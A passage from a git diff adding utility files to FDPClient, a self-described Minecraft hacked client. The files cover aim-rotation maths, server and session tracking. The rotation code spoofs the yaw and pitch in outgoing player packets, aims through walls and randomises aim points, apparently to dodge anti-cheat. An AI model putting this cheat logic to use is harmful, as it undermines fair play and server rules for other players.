Rotation { + return Rotation(yaw, pitch) + } +} + +/** + * Rotation with vector + */ +data class VecRotation(val vec: Vec3, val rotation: Rotation) + +/** + * Rotation with place info + */ +data class PlaceRotation(val placeInfo: PlaceInfo, val rotation: Rotation) diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/RotationUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/RotationUtils.kt new file mode 100644 index 0000000..5548bf9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/RotationUtils.kt @@ -0,0 +1,949 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Listenable +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.TickEvent +import net.ccbluex.liquidbounce.utils.RaycastUtils.raycastEntity +import net.minecraft.entity.Entity +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.projectile.EntityEgg +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.util.* +import java.util.* +import kotlin.math.* + +class RotationUtils : MinecraftInstance(), Listenable { + val currentRotation: Rotation? = null + /** + * Handle minecraft tick + * + * @param event Tick event + */ + @EventTarget + fun onTick(event: TickEvent?) { + if (targetRotation != null) { + //ClientUtils.INSTANCE.displayAlert(keepLength + " " + revTick); + keepLength-- + + if (keepLength <= 0) { + if (revTick > 0) { + revTick-- + } + reset() + } + } + + if (random.nextGaussian() > 0.8) x = Math.random() + if (random.nextGaussian() > 0.8) y = Math.random() + if (random.nextGaussian() > 0.8) z = Math.random() + } + + /** + * Handle packet + * + * @param event Packet Event + */ + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + + if (packet is C03PacketPlayer) { + + if (targetRotation != null && !keepCurrentRotation && (targetRotation!!.yaw != serverRotation!!.yaw || targetRotation!!.pitch != serverRotation!!.pitch)) { + packet.yaw = targetRotation!!.yaw + packet.pitch = targetRotation!!.pitch + packet.rotating = true + } + + if (packet.rotating) serverRotation = Rotation(packet.yaw, packet.pitch) + } + } + + /** + * @return YESSSS!!! + */ + override fun handleEvents(): Boolean { + return true + } + + companion object { + @JvmField + var cameraYaw: Float = 0f + + @JvmField + var cameraPitch: Float = 0f + + @JvmField + var perspectiveToggled: Boolean = false + + private val random = Random() + + private var keepLength = 0 + private var revTick = 0 + + + @JvmField + var targetRotation: Rotation? = null + @JvmField + var serverRotation: Rotation? = Rotation(0f, 0f) + + const val keepCurrentRotation: Boolean = false + + private var x = random.nextDouble() + private var y = random.nextDouble() + private var z = random.nextDouble() + + /** + * Face block + * + * @param blockPos target block + */ + fun faceBlock(blockPos: BlockPos?): VecRotation? { + if (blockPos == null) return null + + var vecRotation: VecRotation? = null + + var xSearch = 0.1 + while (xSearch < 0.9) { + var ySearch = 0.1 + while (ySearch < 0.9) { + var zSearch = 0.1 + while (zSearch < 0.9) { + val eyesPos = Vec3( + mc.thePlayer.posX, + mc.thePlayer.entityBoundingBox.minY + mc.thePlayer.getEyeHeight(), + mc.thePlayer.posZ + ) + val posVec = Vec3(blockPos).addVector(xSearch, ySearch, zSearch) + val dist = eyesPos.distanceTo(posVec) + + val diffX = posVec.xCoord - eyesPos.xCoord + val diffY = posVec.yCoord - eyesPos.yCoord + val diffZ = posVec.zCoord - eyesPos.zCoord + + val diffXZ = MathHelper.sqrt_double(diffX * diffX + diffZ * diffZ).toDouble() + + val rotation = Rotation( + MathHelper.wrapAngleTo180_float(Math.toDegrees(atan2(diffZ, diffX)).toFloat() - 90f), + MathHelper.wrapAngleTo180_float(-Math.toDegrees(atan2(diffY, diffXZ)).toFloat()) + ) + + val rotationVector = getVectorForRotation(rotation) + val vector = eyesPos.addVector( + rotationVector.xCoord * dist, rotationVector.yCoord * dist, + rotationVector.zCoord * dist + ) + val obj = mc.theWorld.rayTraceBlocks( + eyesPos, vector, false, + false, true + ) + + if (obj.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK) { + val currentVec = VecRotation(posVec, rotation) + + if (vecRotation == null || getRotationDifference(currentVec.rotation) < getRotationDifference( + vecRotation.rotation + ) + ) vecRotation = currentVec + } + zSearch += 0.1 + } + ySearch += 0.1 + } + xSearch += 0.1 + } + + return vecRotation + } + + /** + * + * @param entity + * @return + */ + fun getRotationsEntity(entity: EntityLivingBase): Rotation { + return getRotations(entity.posX, entity.posY + entity.eyeHeight - 0.4, entity.posZ) + } + + /** + * + * @param entity + * @return + */ + fun getRotationsNonLivingEntity(entity: Entity): Rotation { + return getRotations( + entity.posX, + entity.posY + (entity.entityBoundingBox.maxY - entity.entityBoundingBox.minY) * 0.5, + entity.posZ + ) + } + + /** + * Face target with bow + * + * @param target your enemy + * @param silent client side rotations + * @param predict predict new enemy position + * @param predictSize predict size of predict + */ + fun faceBow(target: Entity, silent: Boolean, predict: Boolean, predictSize: Float) { + val player = mc.thePlayer + + val posX = + target.posX + (if (predict) (target.posX - target.prevPosX) * predictSize else 0.0) - (player.posX + (if (predict) (player.posX - player.prevPosX) else 0.0)) + val posY = + target.entityBoundingBox.minY + (if (predict) (target.entityBoundingBox.minY - target.prevPosY) * predictSize else 0.0) + target.eyeHeight - 0.15 - (player.entityBoundingBox.minY + (if (predict) (player.posY - player.prevPosY) else 0.0)) - player.getEyeHeight() + val posZ = + target.posZ + (if (predict) (target.posZ - target.prevPosZ) * predictSize else 0.0) - (player.posZ + (if (predict) (player.posZ - player.prevPosZ) else 0.0)) + val posSqrt = sqrt(posX * posX + posZ * posZ) + + var velocity = player.itemInUseDuration / 20f + velocity = (velocity * velocity + velocity * 2) / 3 + + if (velocity > 1) velocity = 1f + + val rotation = Rotation( + (atan2(posZ, posX) * 180 / Math.PI).toFloat() - 90, + -Math.toDegrees(atan((velocity * velocity - sqrt(velocity * velocity * velocity * velocity - 0.006f * (0.006f * (posSqrt * posSqrt) + 2 * posY * (velocity * velocity)))) / (0.006f * posSqrt))) + .toFloat() + ) + + if (silent) setTargetRotation(rotation) + else limitAngleChange( + Rotation(player.rotationYaw, player.rotationPitch), rotation, (10 + + Random().nextInt(6)).toFloat() + ).toPlayer(mc.thePlayer) + } + + /** + * Translate vec to rotation + * + * @param vec target vec + * @param predict predict new location of your body + * @return rotation + */ + fun toRotation(vec: Vec3, predict: Boolean): Rotation { + val eyesPos = Vec3( + mc.thePlayer.posX, mc.thePlayer.entityBoundingBox.minY + + mc.thePlayer.getEyeHeight(), mc.thePlayer.posZ + ) + + if (predict) { + if (mc.thePlayer.onGround) { + eyesPos.addVector(mc.thePlayer.motionX, 0.0, mc.thePlayer.motionZ) + } else eyesPos.addVector(mc.thePlayer.motionX, mc.thePlayer.motionY, mc.thePlayer.motionZ) + } + + val diffX = vec.xCoord - eyesPos.xCoord + val diffY = vec.yCoord - eyesPos.yCoord + val diffZ = vec.zCoord - eyesPos.zCoord + + return Rotation( + MathHelper.wrapAngleTo180_float( + Math.toDegrees(atan2(diffZ, diffX)).toFloat() - 90f + ), MathHelper.wrapAngleTo180_float( + (-Math.toDegrees(atan2(diffY, sqrt(diffX * diffX + diffZ * diffZ)))).toFloat() + ) + ) + } + + /** + * Get the center of a box + * + * @param bb your box + * @return center of box + */ + fun getCenter(bb: AxisAlignedBB): Vec3 { + return Vec3( + bb.minX + (bb.maxX - bb.minX) * 0.5, + bb.minY + (bb.maxY - bb.minY) * 0.5, + bb.minZ + (bb.maxZ - bb.minZ) * 0.5 + ) + } + + /** + * Search good center + * + * @param bb enemy box + * @param outborder outborder option + * @param random random option + * @param predict predict option + * @param throughWalls throughWalls option + * @return center + */ + //TODO : searchCenter Big Update lol(Better Center calculate method & Jitter Support(Better Random Center)) / Co丶Dynamic : Wait until Mid-Autumn Festival + fun searchCenter( + bb: AxisAlignedBB, + outborder: Boolean, + random: Boolean, + predict: Boolean, + throughWalls: Boolean + ): VecRotation? { + if (outborder) { + val vec3 = Vec3( + bb.minX + (bb.maxX - bb.minX) * (x * 0.3 + 1.0), + bb.minY + (bb.maxY - bb.minY) * (y * 0.3 + 1.0), + bb.minZ + (bb.maxZ - bb.minZ) * (z * 0.3 + 1.0) + ) + return VecRotation(vec3, toRotation(vec3, predict)) + } + + val randomVec = Vec3( + bb.minX + (bb.maxX - bb.minX) * (x * 0.8 + 0.2), + bb.minY + (bb.maxY - bb.minY) * (y * 0.8 + 0.2), + bb.minZ + (bb.maxZ - bb.minZ) * (z * 0.8 + 0.2) + ) + val randomRotation = toRotation(randomVec, predict) + + var vecRotation: VecRotation? = null + + var xSearch = 0.15 + while (xSearch < 0.85) { + var ySearch = 0.15 + while (ySearch < 1.0) { + var zSearch = 0.15 + while (zSearch < 0.85) { + val vec3 = Vec3( + bb.minX + (bb.maxX - bb.minX) * xSearch, + bb.minY + (bb.maxY - bb.minY) * ySearch, + bb.minZ + (bb.maxZ - bb.minZ) * zSearch + ) + val rotation = toRotation(vec3, predict) + + if (throughWalls || isVisible(vec3)) { + val currentVec = VecRotation(vec3, rotation) + + if (vecRotation == null || (if (random) getRotationDifference( + currentVec.rotation, + randomRotation + ) < getRotationDifference( + vecRotation.rotation, + randomRotation + ) else getRotationDifference(currentVec.rotation) < getRotationDifference(vecRotation.rotation)) + ) vecRotation = currentVec + } + zSearch += 0.1 + } + ySearch += 0.1 + } + xSearch += 0.1 + } + + return vecRotation + } + + fun calculateCenter( + calMode: String?, + randMode: String, + randomRange: Double, + bb: AxisAlignedBB, + predict: Boolean, + throughWalls: Boolean + ): VecRotation? { + //final Rotation randomRotation = toRotation(randomVec, predict); + + var vecRotation: VecRotation? = null + + var xMin: Double + var yMin: Double + var zMin: Double + var xMax: Double + var yMax: Double + var zMax: Double + var xDist: Double + var yDist: Double + var zDist: Double + + xMin = 0.15 + xMax = 0.85 + xDist = 0.1 + yMin = 0.15 + yMax = 1.00 + yDist = 0.1 + zMin = 0.15 + zMax = 0.85 + zDist = 0.1 + + var curVec3: Vec3? = null + + when (calMode) { + "LiquidBounce" -> {} + "Full" -> { + xMin = 0.00 + xMax = 1.00 + yMin = 0.00 + zMin = 0.00 + zMax = 1.00 + } + + "HalfUp" -> { + xMin = 0.10 + xMax = 0.90 + yMin = 0.50 + yMax = 0.90 + zMin = 0.10 + zMax = 0.90 + } + + "HalfDown" -> { + xMin = 0.10 + xMax = 0.90 + yMin = 0.10 + yMax = 0.50 + zMin = 0.10 + zMax = 0.90 + } + + "CenterSimple" -> { + xMin = 0.45 + xMax = 0.55 + xDist = 0.0125 + yMin = 0.65 + yMax = 0.75 + yDist = 0.0125 + zMin = 0.45 + zMax = 0.55 + zDist = 0.0125 + } + + "CenterLine" -> { + xMin = 0.45 + xMax = 0.55 + xDist = 0.0125 + yMin = 0.10 + yMax = 0.90 + zMin = 0.45 + zMax = 0.55 + zDist = 0.0125 + } + } + var xSearch = xMin + while (xSearch < xMax) { + var ySearch = yMin + while (ySearch < yMax) { + var zSearch = zMin + while (zSearch < zMax) { + val vec3 = Vec3( + bb.minX + (bb.maxX - bb.minX) * xSearch, + bb.minY + (bb.maxY - bb.minY) * ySearch, + bb.minZ + (bb.maxZ - bb.minZ) * zSearch + ) + val rotation = toRotation(vec3, predict) + + if (throughWalls || isVisible(vec3)) { + val currentVec = VecRotation(vec3, rotation) + + if (vecRotation == null || (getRotationDifference(currentVec.rotation) < getRotationDifference( + vecRotation.rotation + )) + ) { + vecRotation = currentVec + curVec3 = vec3 + } + } + zSearch += zDist + } + ySearch += yDist + } + xSearch += xDist + } + + if (vecRotation == null || randMode == "Off") return vecRotation + + var rand1 = random.nextDouble() + var rand2 = random.nextDouble() + var rand3 = random.nextDouble() + + val xRange = bb.maxX - bb.minX + val yRange = bb.maxY - bb.minY + val zRange = bb.maxZ - bb.minZ + var minRange = 999999.0 + + if (xRange <= minRange) minRange = xRange + if (yRange <= minRange) minRange = yRange + if (zRange <= minRange) minRange = zRange + + rand1 *= minRange * randomRange + rand2 *= minRange * randomRange + rand3 *= minRange * randomRange + + val xPrecent = minRange * randomRange / xRange + val yPrecent = minRange * randomRange / yRange + val zPrecent = minRange * randomRange / zRange + + var randomVec3 = Vec3( + curVec3!!.xCoord - xPrecent * (curVec3.xCoord - bb.minX) + rand1, + curVec3.yCoord - yPrecent * (curVec3.yCoord - bb.minY) + rand2, + curVec3.zCoord - zPrecent * (curVec3.zCoord - bb.minZ) + rand3 + ) + when (randMode) { + "Horizonal" -> randomVec3 = Vec3( + curVec3.xCoord - xPrecent * (curVec3.xCoord - bb.minX) + rand1, + curVec3.yCoord, + curVec3.zCoord - zPrecent * (curVec3.zCoord - bb.minZ) + rand3 + ) + + "Vertical" -> randomVec3 = Vec3( + curVec3.xCoord, + curVec3.yCoord - yPrecent * (curVec3.yCoord - bb.minY) + rand2, + curVec3.zCoord + ) + } + val randomRotation = toRotation(randomVec3, predict) + + + /* + for(double xSearch = 0.00D; xSearch < 1.00D; xSearch += 0.05D) { + for (double ySearch = 0.00D; ySearch < 1.00D; ySearch += 0.05D) { + for (double zSearch = 0.00D; zSearch < 1.00D; zSearch += 0.05D) { + final Vec3 vec3 = new Vec3(curVec3.xCoord - ((randMode == "Horizonal") ? 0.0D : (xPrecent * (curVec3.xCoord - bb.minX) + minRange * randomRange * xSearch)), + curVec3.yCoord - ((randMode == "Vertical") ? 0.0D : (yPrecent * (curVec3.yCoord - bb.minY) + minRange * randomRange * ySearch)), + curVec3.zCoord - ((randMode == "Horizonal") ? 0.0D : (zPrecent * (curVec3.zCoord - bb.minZ) + minRange * randomRange * zSearch))); + final Rotation rotation = toRotation(vec3, predict); + if(throughWalls || isVisible(vec3)) { + final VecRotation currentVec = new VecRotation(vec3, rotation); + if (vecRotation == null || (getRotationDifference(currentVec.getRotation(), randomRotation) < getRotationDifference(vecRotation.getRotation(), randomRotation))) + vecRotation = currentVec; + } + } + } + } + I Give Up :sadface: */ + vecRotation = VecRotation(randomVec3, randomRotation) + + return vecRotation + } + + fun calculateCenter( + calMode: String?, + randMode: Boolean?, + randomRange: Double, + legitRandom: Boolean, + bb: AxisAlignedBB, + predict: Boolean, + throughWalls: Boolean + ): VecRotation? { + var vecRotation: VecRotation? = null + + var xMin: Double + var yMin: Double + var zMin: Double + var xMax: Double + var yMax: Double + var zMax: Double + var xDist: Double + var yDist: Double + var zDist: Double + + xMin = 0.15 + xMax = 0.85 + xDist = 0.1 + yMin = 0.15 + yMax = 1.00 + yDist = 0.1 + zMin = 0.15 + zMax = 0.85 + zDist = 0.1 + + var curVec3: Vec3? = null + + when (calMode) { + "HalfUp" -> { + xMin = 0.10 + xMax = 0.90 + yMin = 0.50 + yMax = 0.90 + zMin = 0.10 + zMax = 0.90 + } + + "CenterSimple" -> { + xMin = 0.45 + xMax = 0.55 + xDist = 0.0125 + yMin = 0.65 + yMax = 0.75 + yDist = 0.0125 + zMin = 0.45 + zMax = 0.55 + zDist = 0.0125 + } + + "CenterLine" -> { + xMin = 0.45 + xMax = 0.55 + xDist = 0.0125 + yMin = 0.50 + yMax = 0.90 + zMin = 0.45 + zMax = 0.55 + zDist = 0.0125 + } + + "CenterHead" -> { + xMin = 0.45 + xMax = 0.55 + xDist = 0.0125 + yMin = 0.85 + yMax = 0.95 + zMin = 0.45 + zMax = 0.55 + zDist = 0.0125 + } + + "CenterBody" -> { + xMin = 0.45 + xMax = 0.55 + xDist = 0.0125 + yMin = 0.70 + yMax = 0.95 + zMin = 0.45 + zMax = 0.55 + zDist = 0.0125 + } + + "LockHead" -> { + xMin = 0.55 + xMax = 0.55 + xDist = 0.0125 + yMin = 0.949 + yMax = 0.95 + zMin = 0.55 + zMax = 0.55 + zDist = 0.0125 + } + } + var xSearch = xMin + while (xSearch < xMax) { + var ySearch = yMin + while (ySearch < yMax) { + var zSearch = zMin + while (zSearch < zMax) { + val vec3 = Vec3( + bb.minX + (bb.maxX - bb.minX) * xSearch, + bb.minY + (bb.maxY - bb.minY) * ySearch, + bb.minZ + (bb.maxZ - bb.minZ) * zSearch + ) + val rotation = toRotation(vec3, predict) + + if (throughWalls || isVisible(vec3)) { + val currentVec = VecRotation(vec3, rotation) + + if (vecRotation == null || (getRotationDifference(currentVec.rotation) < getRotationDifference( + vecRotation.rotation + )) + ) { + vecRotation = currentVec + curVec3 = vec3 + } + } + zSearch += zDist + } + ySearch += yDist + } + xSearch += xDist + } + + if (vecRotation == null || !randMode!!) return vecRotation + + var rand1 = random.nextDouble() + var rand2 = random.nextDouble() + var rand3 = random.nextDouble() + + val xRange = bb.maxX - bb.minX + val yRange = bb.maxY - bb.minY + val zRange = bb.maxZ - bb.minZ + var minRange = 999999.0 + + if (xRange <= minRange) minRange = xRange + if (yRange <= minRange) minRange = yRange + if (zRange <= minRange) minRange = zRange + + rand1 *= minRange * randomRange + rand2 *= minRange * randomRange + rand3 *= minRange * randomRange + + val xPrecent = minRange * randomRange / xRange + val yPrecent = minRange * randomRange / yRange + val zPrecent = minRange * randomRange / zRange + + val randomVec3 = if (legitRandom) Vec3( + curVec3!!.xCoord, + curVec3.yCoord - yPrecent * (curVec3.yCoord - bb.minY) + rand2, + curVec3.zCoord + ) else Vec3( + curVec3!!.xCoord - xPrecent * (curVec3.xCoord - bb.minX) + rand1, + curVec3.yCoord - yPrecent * (curVec3.yCoord - bb.minY) + rand2, + curVec3.zCoord - zPrecent * (curVec3.zCoord - bb.minZ) + rand3 + ) + + val randomRotation = toRotation(randomVec3, predict) + vecRotation = VecRotation(randomVec3, randomRotation) + + return vecRotation + } + + /** + * Calculate difference between the client rotation and your entity + * + * @param entity your entity + * @return difference between rotation + */ + fun getRotationDifference(entity: Entity): Double { + val rotation = toRotation(getCenter(entity.entityBoundingBox), true) + + return getRotationDifference(rotation, Rotation(mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch)) + } + + /** + * Calculate difference between the server rotation and your rotation + * + * @param rotation your rotation + * @return difference between rotation + */ + fun getRotationDifference(rotation: Rotation): Double { + return if (serverRotation == null) 0.0 else getRotationDifference(rotation, serverRotation) + } + + /** + * Calculate difference between two rotations + * + * @param a rotation + * @param b rotation + * @return difference between rotation + */ + fun getRotationDifference(a: Rotation, b: Rotation?): Double { + return hypot(getAngleDifference(a.yaw, b!!.yaw).toDouble(), (a.pitch - b.pitch).toDouble()) + } + + /** + * Limit your rotation using a turn speed + * + * @param currentRotation your current rotation + * @param targetRotation your goal rotation + * @param turnSpeed your turn speed + * @return limited rotation + */ + fun limitAngleChange(currentRotation: Rotation, targetRotation: Rotation, turnSpeed: Float): Rotation { + val yawDifference = getAngleDifference(targetRotation.yaw, currentRotation.yaw) + val pitchDifference = getAngleDifference(targetRotation.pitch, currentRotation.pitch) + + return Rotation( + currentRotation.yaw + if (yawDifference > turnSpeed) turnSpeed else yawDifference.coerceAtLeast(-turnSpeed), + currentRotation.pitch + if (pitchDifference > turnSpeed) turnSpeed else pitchDifference.coerceAtLeast(-turnSpeed) + ) + } + fun limitAngleChange( + currentRotation: Rotation, + targetRotation: Rotation?, + horizontalSpeed: Float, + verticalSpeed: Float + ): Rotation { + val yawDifference = targetRotation?.let { getAngleDifference(it.yaw, currentRotation.yaw) } + val pitchDifference = targetRotation?.let { getAngleDifference(it.pitch, currentRotation.pitch) } + return Rotation( + currentRotation.yaw + (if (yawDifference!! > horizontalSpeed) horizontalSpeed else max( + yawDifference, + -horizontalSpeed + )), + currentRotation.pitch + (if (pitchDifference!! > verticalSpeed) verticalSpeed else max( + pitchDifference, + -verticalSpeed + )) + ) + } + + /** + * Calculate difference between two angle points + * + * @param a angle point + * @param b angle point + * @return difference between angle points + */ + @JvmStatic + fun getAngleDifference(a: Float, b: Float): Float { + return ((((a - b) % 360f) + 540f) % 360f) - 180f + } + + fun getAngles(entity: Entity?): Rotation? { + if (entity == null) return null + val thePlayer = mc.thePlayer + val diffX = entity.posX - thePlayer.posX + val diffY = entity.posY + entity.eyeHeight * 0.9 - (thePlayer.posY + thePlayer.getEyeHeight()) + val diffZ = entity.posZ - thePlayer.posZ + val dist = MathHelper.sqrt_double(diffX * diffX + diffZ * diffZ).toDouble() // @on + val yaw = (atan2(diffZ, diffX) * 180.0 / Math.PI).toFloat() - 90.0f + val pitch = -(atan2(diffY, dist) * 180.0 / Math.PI).toFloat() + return Rotation( + thePlayer.rotationYaw + MathHelper.wrapAngleTo180_float(yaw - thePlayer.rotationYaw), + thePlayer.rotationPitch + MathHelper.wrapAngleTo180_float(pitch - thePlayer.rotationPitch) + ) + } + + fun getDirectionToBlock(x: Double, y: Double, z: Double, enumfacing: EnumFacing): Rotation { + val var4 = EntityEgg(mc.theWorld) + var4.posX = x + 0.5 + var4.posY = y + 0.5 + var4.posZ = z + 0.5 + var4.posX += enumfacing.directionVec.x.toDouble() * 0.5 + var4.posY += enumfacing.directionVec.y.toDouble() * 0.5 + var4.posZ += enumfacing.directionVec.z.toDouble() * 0.5 + return getRotations(var4.posX, var4.posY, var4.posZ) + } + + /** + * Calculate rotation to vector + * + * @param rotation your rotation + * @return target vector + */ + fun getVectorForRotation(rotation: Rotation): Vec3 { + val yawCos = MathHelper.cos(-rotation.yaw * 0.017453292f - Math.PI.toFloat()) + val yawSin = MathHelper.sin(-rotation.yaw * 0.017453292f - Math.PI.toFloat()) + val pitchCos = -MathHelper.cos(-rotation.pitch * 0.017453292f) + val pitchSin = MathHelper.sin(-rotation.pitch * 0.017453292f) + return Vec3((yawSin * pitchCos).toDouble(), pitchSin.toDouble(), (yawCos * pitchCos).toDouble()) + } + @JvmStatic + fun getVectorForRotation(yaw: Float, pitch: Float): Vec3 { + val yawRad = yaw.toRadians() + val pitchRad = pitch.toRadians() + + val f = MathHelper.cos(-yawRad - PI.toFloat()) + val f1 = MathHelper.sin(-yawRad - PI.toFloat()) + val f2 = -MathHelper.cos(-pitchRad) + val f3 = MathHelper.sin(-pitchRad) + + return Vec3((f1 * f2).toDouble(), f3.toDouble(), (f * f2).toDouble()) + } + + /** + * Allows you to check if your crosshair is over your target entity + * + * @param targetEntity your target entity + * @param blockReachDistance your reach + * @return if crosshair is over target + */ + fun isFaced(targetEntity: Entity, blockReachDistance: Double): Boolean { + return raycastEntity(blockReachDistance) { entity: Entity -> entity === targetEntity } != null + } + + /** + * Allows you to check if your enemy is behind a wall + */ + private fun isVisible(vec3: Vec3?): Boolean { + val eyesPos = Vec3( + mc.thePlayer.posX, + mc.thePlayer.entityBoundingBox.minY + mc.thePlayer.getEyeHeight(), + mc.thePlayer.posZ + ) + + return mc.theWorld.rayTraceBlocks(eyesPos, vec3) == null + } + + /** + * Set your target rotation + * + * @param rotation your target rotation + */ + fun setTargetRotation(rotation: Rotation) { + setTargetRotation(rotation, 0) + } + + /** + * Set your target rotation + * + * @param rotation your target rotation + */ + fun setTargetRotation(rotation: Rotation, kl: Int) { + if (java.lang.Double.isNaN(rotation.yaw.toDouble()) || java.lang.Double.isNaN(rotation.pitch.toDouble()) || rotation.pitch > 90 || rotation.pitch < -90) return + + rotation.fixedSensitivity(mc.gameSettings.mouseSensitivity) + targetRotation = rotation + keepLength = kl + revTick = 0 + } + + var speedForReset = 0f to 0f + var angleThresholdForReset = 0f + @JvmStatic + fun setTargetRotation( + rotation: Rotation, + keepLength: Int = 1, + + resetSpeed: Pair<Float, Float> = 180f to 180f, + angleThresholdForReset: Float = 180f + ) { + if (rotation.yaw.isNaN() || rotation.pitch.isNaN() || rotation.pitch > 90 || rotation.pitch < -90) return + + targetRotation = rotation + + this.keepLength = keepLength + this.speedForReset = resetSpeed + this.angleThresholdForReset = angleThresholdForReset + } + + fun setTargetRotationReverse(rotation: Rotation, kl: Int, rt: Int) { + if (java.lang.Double.isNaN(rotation.yaw.toDouble()) || java.lang.Double.isNaN(rotation.pitch.toDouble()) || rotation.pitch > 90 || rotation.pitch < -90) return + + rotation.fixedSensitivity(mc.gameSettings.mouseSensitivity) + targetRotation = rotation + keepLength = kl + revTick = rt + 1 + } + + fun bestServerRotation(): Rotation? { + return if (targetRotation != null) targetRotation else serverRotation + } + + fun compareRotationDifferenceLesser( + compareWith: Rotation?, + toCompare1: Rotation, + toCompare2: Rotation + ): Boolean { + return getRotationDifference(toCompare1, compareWith) < getRotationDifference(toCompare2, compareWith) + } + + /** + * Reset your target rotation + */ + fun reset() { + keepLength = 0 + targetRotation = if (revTick > 0) { + Rotation( + targetRotation!!.yaw - getAngleDifference( + targetRotation!!.yaw, mc.thePlayer.rotationYaw + ) / revTick, + targetRotation!!.pitch - getAngleDifference( + targetRotation!!.pitch, mc.thePlayer.rotationPitch + ) / revTick + ) + } else null + } + + + /** + * + * @param posX + * @param posY + * @param posZ + * @return + */ + fun getRotations(posX: Double, posY: Double, posZ: Double): Rotation { + val player = mc.thePlayer + val x = posX - player.posX + val y = posY - (player.posY + player.getEyeHeight().toDouble()) + val z = posZ - player.posZ + val dist = MathHelper.sqrt_double(x * x + z * z).toDouble() + val yaw = (atan2(z, x) * 180.0 / 3.141592653589793).toFloat() - 90.0f + val pitch = (-(atan2(y, dist) * 180.0 / 3.141592653589793)).toFloat() + return Rotation(yaw, pitch) + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/SafeVertexBuffer.kt b/src/main/java/net/ccbluex/liquidbounce/utils/SafeVertexBuffer.kt new file mode 100644 index 0000000..12b8211 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/SafeVertexBuffer.kt @@ -0,0 +1,25 @@ +/* + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see <http://www.gnu.org/licenses/>. + */ +package net.ccbluex.liquidbounce.utils + +import net.minecraft.client.renderer.vertex.VertexBuffer +import net.minecraft.client.renderer.vertex.VertexFormat + +class SafeVertexBuffer(vertexFormatIn: VertexFormat?) : VertexBuffer(vertexFormatIn) { + @Throws(Throwable::class) + protected fun finalize() { + this.deleteGlBuffers() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/ServerUtils.java b/src/main/java/net/ccbluex/liquidbounce/utils/ServerUtils.java new file mode 100644 index 0000000..addd06b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/ServerUtils.java @@ -0,0 +1,37 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils; + +import net.ccbluex.liquidbounce.FDPClient; +import net.minecraft.client.gui.GuiMultiplayer; +import net.minecraft.client.multiplayer.GuiConnecting; +import net.minecraft.client.multiplayer.ServerData; + +public final class ServerUtils extends MinecraftInstance { + + public static ServerData serverData; + + public static void connectToLastServer() { + if(serverData == null) + return; + + mc.displayGuiScreen(new GuiConnecting(new GuiMultiplayer(FDPClient.mainMenu), mc, serverData)); + } + + public static String getRemoteIp() { + String serverIp = "Idling"; + + if (mc.isIntegratedServerRunning()) { + serverIp = "SinglePlayer"; + } else if (mc.theWorld != null && mc.theWorld.isRemote) { + final ServerData serverData = mc.getCurrentServerData(); + if(serverData != null) + serverIp = serverData.serverIP; + } + + return serverIp; + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/SessionUtils.java b/src/main/java/net/ccbluex/liquidbounce/utils/SessionUtils.java new file mode 100644 index 0000000..96c15b9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/SessionUtils.java @@ -0,0 +1,81 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils; + +import net.ccbluex.liquidbounce.event.*; +import net.ccbluex.liquidbounce.utils.timer.MSTimer; +import net.minecraft.client.gui.GuiDownloadTerrain; +import net.minecraft.client.gui.GuiScreen; +import net.minecraft.client.multiplayer.GuiConnecting; + +public class SessionUtils extends MinecraftInstance implements Listenable { + + private static final MSTimer sessionTimer = new MSTimer(); + private static final MSTimer worldTimer = new MSTimer(); + + public static long lastSessionTime = 0L; + public static long backupSessionTime = 0L; + public static long lastWorldTime = 0L; + + private static boolean requireDelay = false; + + private static GuiScreen lastScreen = null; + + @EventTarget + public void onWorld(WorldEvent event) { + lastWorldTime = System.currentTimeMillis() - worldTimer.getTime(); + worldTimer.reset(); + + if (event.getWorldClient() == null) { + backupSessionTime = System.currentTimeMillis() - sessionTimer.getTime(); + requireDelay = true; + } else { + requireDelay = false; + } + } + + @EventTarget + public void onSession(SessionEvent event) { + handleConnection(); + } + + @EventTarget + public void onScreen(ScreenEvent event) { + if (event.getGuiScreen() == null && lastScreen != null && (lastScreen instanceof GuiDownloadTerrain || lastScreen instanceof GuiConnecting)) + handleReconnection(); + + lastScreen = event.getGuiScreen(); + } + + public static void handleConnection() { + backupSessionTime = 0L; + requireDelay = true; + lastSessionTime = System.currentTimeMillis() - sessionTimer.getTime(); + if (lastSessionTime < 0L) lastSessionTime = 0L; + sessionTimer.reset(); + } + + public static void handleReconnection() { + if (requireDelay) sessionTimer.setTime(System.currentTimeMillis() - backupSessionTime); + } + + public static String getFormatSessionTime() { + if (System.currentTimeMillis() - sessionTimer.getTime() < 0L) sessionTimer.reset(); + + int realTime = (int) (System.currentTimeMillis() - sessionTimer.getTime()) / 1000; + int hours = realTime / 3600; + int seconds = 